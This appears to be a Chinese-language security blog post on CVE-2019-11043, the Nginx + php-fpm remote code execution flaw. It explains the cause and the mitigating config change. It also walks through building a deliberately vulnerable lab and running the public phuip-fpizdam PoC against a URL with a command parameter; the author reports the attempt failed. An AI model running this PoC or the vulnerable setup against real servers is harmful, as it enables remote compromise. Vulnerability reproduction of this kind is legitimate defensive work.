9 月 26 日,PHP 官方发布漏洞通告,其中指出:使用 Nginx + php-fpm 的服务器,在部分配置下,存在远程代码执行漏洞。并且该配置已被广泛使用,危害较大。
漏洞 PoC 在 10 月 22 日公开,国内安全媒体及时发布了预警。
Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。
Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
在不影响正常业务的情况下,删除 Nginx 配置文件中的如下配置:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
github: https://github.com/neex/phuip-fpizdam
该POC利用了FastCGI变量_fcgi_data_seg中的优化,该优化仅在PHP7中,所以公开的exploit仅在php7下有效,PHP5环境下需要另外的exploit才能生效。
配置环境,搭建nginx + php-fpm,验证工作有效。
-
下载php7,解压进入目录
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz tar -xzvf php-7.2.4.tar.gz
-
安装压缩、ssl等相关依赖包
yum install -y libxml2* yum install -y openssl* yum install -y libcurl* yum install -y libjpeg* yum install -y libpng* yum install -y freetype* yum install -y libmcrypt*
-
configure 编译源代码
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo make & make install
-
配置php-fpm,如果配置多个PHP,可以修改端口9000为9001
修改php-fpm配置文件: $ cd /usr/local/php/etc $ cp php-fpm.conf.default php-fpm.conf $ vi php-fpm.conf 去掉 pid = run/php-fpm.pid 前面的分号 $ cd php-fpm.d $ cp www.conf.default www.conf (修改端口) $ vi www.conf 修改user和group的用户为非root用户
-
./php-fpm
nginx.cof中添加如下配置:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
重启nginx
-
安装go,编译POC代码
go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下) go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
-
运行POC
./phuip-fpizdam http://website.com/index.php ./phuip-fpizdam http://website.com/index.php?a=command
[很不幸,配置环境不知哪的问题,验证失败]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
原链接:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043